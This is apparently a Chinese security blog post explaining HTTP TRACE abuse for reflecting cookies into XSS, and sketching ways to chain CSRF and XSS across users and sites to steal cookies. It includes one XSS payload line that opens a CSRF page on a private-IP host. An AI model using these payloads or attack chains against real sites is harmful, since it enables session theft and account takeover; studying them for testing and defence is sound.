trace方法的利用，以及CSRF+XSS的一些思路

一.定义

    一个请求从客户端到服务端，中间可能会经历各种代理、网关等程序，每个中间节点都可能修改原始HTTP请求。为此，通过TRACE，服务端会在接收到请求后反馈一个TRACE响应，并且在响应主体中携带它收到的原始请求报文。客户端拿到TRACE响应，就可以进行测试和诊断了   

   HTTP/1.1（RFC2616）规范定义了 HTTP TRACE 方法，主要是用于客户端通过向 Web 服务器提交 TRACE 请求来进行测试或获得诊断信息。当 Web 服务器启用 TRACE 时，提交的请求头会在服务器响应的内容（Body）中完整的返回，其中 HTTP 头很可能包括 Session Token、Cookies 或其它认证信息。

如：

 二.利用

一般是配合其他漏洞进行攻击

比如http trace请求而可用js或者其他客户端脚本发起请求（XMLHttpRequest），配合xss漏洞或者其他漏洞进行攻击（绕过httponly?）

以下是一个简单的示例

首先抓包修改方法以及任意在请求头中插入恶意语句

 然后抓返回包修改content-type,把返回格式改为html格式

 放包后弹窗

 参考链接：trace方法引起的xss漏洞-CSDN博客

https://www.cnblogs.com/xiaodangshan/p/7715313.html

三.辅记

写着写着忽然联想到了CSRF跟XSS的组合拳

我觉得主要有以下几种情况

第一原则肯定是能获权限就尽量获取

（1）XSS衍生CSRF

一种情况是cookie设置了httponly属性，xss偷不到完整cookie，意味着获取不到权限，但是仍然可以在xss处插入其他恶意脚本，简单一个就是CSRF的Poc，如

<script src="x" onerror=javascript:window.open("http://192.168.1.4/csrf.html")></script>

 这样可以减少CSRF的攻击难度，普通的CSRF数据在post里面，还要钓鱼啥的......

 （2）CSRF衍生XSS

如果某个点的XSS只有自己能看见，比如说比较私密的个人信息设置，管理员以及其他用户无法访问，也就是说其他人无法触发恶意脚本

要是这个点也有CSRF漏洞，那么你懂的，CSRF钓鱼，进一步将其他人的XSS点插入恶意语句，这样就可以偷cookie了

（3）链

如果A站出现了一个可以任意人访问的XSS，但是有httponly加持，或者是这个站没权限，B站有一个只有自己可以访问的XSS以及CSRF点

那么你懂的，A站插入像（1）一般的恶意语句，只是恶意语句里面的攻击对象是B站，之后CSRF Poc在B站中向其他人插入XSS语句，这样就能实现链式攻击 

什么时候写一下上面的几个组合拳方法实战......